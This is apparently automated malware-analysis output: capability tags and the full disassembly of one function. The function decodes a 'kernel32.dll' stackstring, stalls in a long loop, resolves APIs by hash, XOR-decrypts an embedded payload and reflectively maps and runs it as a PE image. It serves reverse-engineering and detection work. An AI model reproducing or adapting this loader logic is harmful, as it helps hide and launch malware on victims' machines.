Function at 0x180100d2d
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xf8
xor r11d, r11d
mov dword [rsp + 0x20], 0x753f3970
mov dword [rsp + 0x24], 0x6b516e35
mov dword [rsp + 0x28], 0x784a6428
mov dword [rsp + 0x2c], 0x36362825
mov dword [rsp + 0x30], 0x4a6d674c
mov word [rsp + 0x50], r11w
mov word [rsp + 0x34], 0x4030
mov byte [rsp + 0x36], 0
mov dword [rsp + 0x38], 0x65006b
mov dword [rsp + 0x3c], 0x6e0072
mov dword [rsp + 0x40], 0x6c0065
mov dword [rsp + 0x44], 0x320033
mov dword [rsp + 0x48], 0x64002e
mov dword [rsp + 0x4c], 0x6c006c
mov edx, 0x3d0924
nop
mov eax, 6
lea rcx, [rbp - 0x63]
nop dword [rax]
mov byte [rcx], al
inc eax
lea rcx, [rcx + 1]
cmp eax, 0x72
jb 0x180100dcd
dec rdx
jne 0x180100dbd
cmp byte [rbp - 0x28], 0x41
jne 0x180100df4
lea rcx, [rsp + 0x38]
call fcn.18010135d
mov rbx, rax
jmp 0x180100df8
mov rbx, qword [rbp + 0x67]
mov edx, 0xec122
mov rcx, rbx
call fcn.1801013bd
mov edx, 0xf54a6
mov rcx, rbx
mov r12, rax
call fcn.1801013bd
mov edx, 0x3aca7a
mov rcx, rbx
mov qword [rsp + 0x58], rax
call fcn.1801013bd
xor ecx, ecx
mov edx, 0x1bca00
lea r9d, [rcx + 4]
mov r8d, 0x3000
mov qword [rbp + 0x7f], rax
call r12
movabs r11, resource.36
movabs rbx, 0x1801644f5
movabs rdi, 0x1801644f6
movabs rsi, str.u6nQk_dJx
sub r11, rax
sub rbx, rax
sub rdi, rax
mov r14, rax
mov r10d, 2
mov r9, rax
mov r13d, 0x6f280
sub rsi, rax
movabs r8, 0x642c8590b21642c9
lea eax, [r10 - 2]
lea r9, [r9 + 4]
movsxd rcx, eax
mov rax, r8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x17
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [r11 + r9 - 4]
mov byte [r9 - 4], al
lea eax, [r10 - 1]
movsxd rcx, eax
mov rax, r8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x17
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
movsxd rcx, r10d
xor al, byte [rbx + r9 - 4]
mov byte [r9 - 3], al
mov rax, r8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x17
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [rdi + r9 - 4]
mov byte [r9 - 2], al
lea eax, [r10 + 1]
add r10d, 4
movsxd rcx, eax
mov rax, r8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x17
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [rsi + r9 - 4]
mov byte [r9 - 1], al
dec r13
jne 0x180100e8f
mov rcx, r14
call fcn.18010120d
lea r9d, [r13 + 0x40]
xor ecx, ecx
lea rdx, [rax + 0x1c9c380]
mov r8d, 0x3000
call r12
mov rdi, rax
test rax, rax
je 0x1801011f3
movsxd rbx, dword [r14 + 0x3c]
mov r13, rdi
mov rdx, r14
add rbx, r14
mov rcx, rdi
sub r13, qword [rbx + 0x30]
movzx eax, word [rbx + 0x14]
mov r8d, dword [rbx + 0x54]
add rax, 0x18
mov qword [rbp + 0x6f], rbx
mov qword [rbp - 0x79], r13
add rax, rbx
mov qword [rbx + 0x30], rdi
mov qword [rbp + 0x67], rax
call fcn.18010123d
mov r10, qword [rbx + 0xb0]
mov r11, qword [rbx + 0x90]
xor eax, eax
mov qword [rbp + 0x77], r10
mov r12d, eax
mov esi, eax
cmp ax, word [rbx + 6]
jae 0x1801011f3
mov rbx, qword [rbp + 0x67]
mov r15, qword [rbp + 0x6f]
mov r13d, eax
add rbx, 0xc
nop dword [rax + rax]
mov r9d, dword [rbx]
cmp r10d, r9d
jb 0x180101014
mov ecx, dword [rbx - 4]
add ecx, r9d
cmp r10d, ecx
jae 0x180101014
lea r12, [rbx - 0xc]
cmp r11d, r9d
jb 0x180101028
mov ecx, dword [rbx - 4]
add ecx, r9d
cmp r11d, ecx
jae 0x180101028
lea r13, [rbx - 0xc]
mov edx, dword [rbx + 8]
mov r8d, dword [rbx + 4]
lea rcx, [rdi + r9]
add rdx, r14
call fcn.18010123d
movzx eax, word [r15 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jl 0x180100ffd
mov r15, qword [rbp + 0x7f]
test r13, r13
mov r13, qword [rbp - 0x79]
je 0x1801011f3
mov eax, dword [rbp + 0x7b]
xor r11d, r11d
test rax, rax
je 0x180101100
mov edx, 0xf000
xor r15d, r15d
nop word [rax + rax]
mov esi, dword [r12 + 0x14]
add rsi, r11
add r11, 8
mov ebx, dword [rsi + r14 + 4]
sub rbx, 8
shr rbx, 1
je 0x1801010f7
nop word [rax + rax]
mov eax, dword [r12 + 0x14]
add rax, r11
add r11, 2
movzx ecx, word [rax + r14]
test dx, cx
je 0x1801010ef
mov r10d, dword [rsi + r14]
and ecx, 0xfff
mov r8d, 8
lea rax, [rdi + rcx]
lea rcx, [rbp + 0x67]
mov qword [rbp + 0x67], r15
add r10, rax
mov rdx, r10
call fcn.18010123d
add qword [rbp + 0x67], r13
lea rdx, [rbp + 0x67]
mov rcx, r10
call fcn.18010123d
mov edx, 0xf000
dec rbx
jne 0x18010109d
mov eax, dword [rbp + 0x7b]
cmp r11, rax
jb 0x18010107d
mov r15, qword [rbp + 0x7f]
mov rsi, qword [rbp + 0x6f]
mov r12d, dword [rsi + 0x90]
add r12, rdi
je 0x1801011f3
add r12, 0xc
cmp dword [r12], 0
je 0x180101199
mov r13, qword [rsp + 0x58]
nop word [rax + rax]
mov ecx, dword [r12]
add rcx, rdi
call r13
mov rsi, rax
test rax, rax
je 0x1801011f3
mov ebx, dword [r12 + 4]
add rbx, rdi
cmp qword [rbx], 0
je 0x18010118a
movabs r13, 0x8000000000000000
nop
mov rcx, qword [rbx]
test r13, rcx
je 0x18010116a
movzx edx, cx
jmp 0x180101171
lea rdx, [rcx + 2]
add rdx, rdi
mov rcx, rsi
call r15
add rbx, 8
mov qword [rbx - 8], rax
cmp qword [rbx], 0
jne 0x18010115d
mov r13, qword [rsp + 0x58]
add r12, 0x14
cmp dword [r12], 0
jne 0x18010112d
mov rsi, qword [rbp + 0x6f]
mov rcx, r14
call fcn.18010121d
test eax, eax
je 0x1801011d6
mov eax, dword [rsi + 0xd0]
mov rbx, qword [rax + rdi + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x1801011d6
nop dword [rax + rax]
xor r8d, r8d
mov rcx, r14
lea edx, [r8 + 1]
call rax
mov rax, qword [rbx + 8]
lea rbx, [rbx + 8]
test rax, rax
jne 0x1801011bd
call fcn.18010126d
mov qword [rax + 0x10], rdi
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov qword [rcx + 0x30], rdi
mov eax, dword [rsi + 0x28]
add rax, rdi
call rax
xor eax, eax
add rsp, 0xf8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret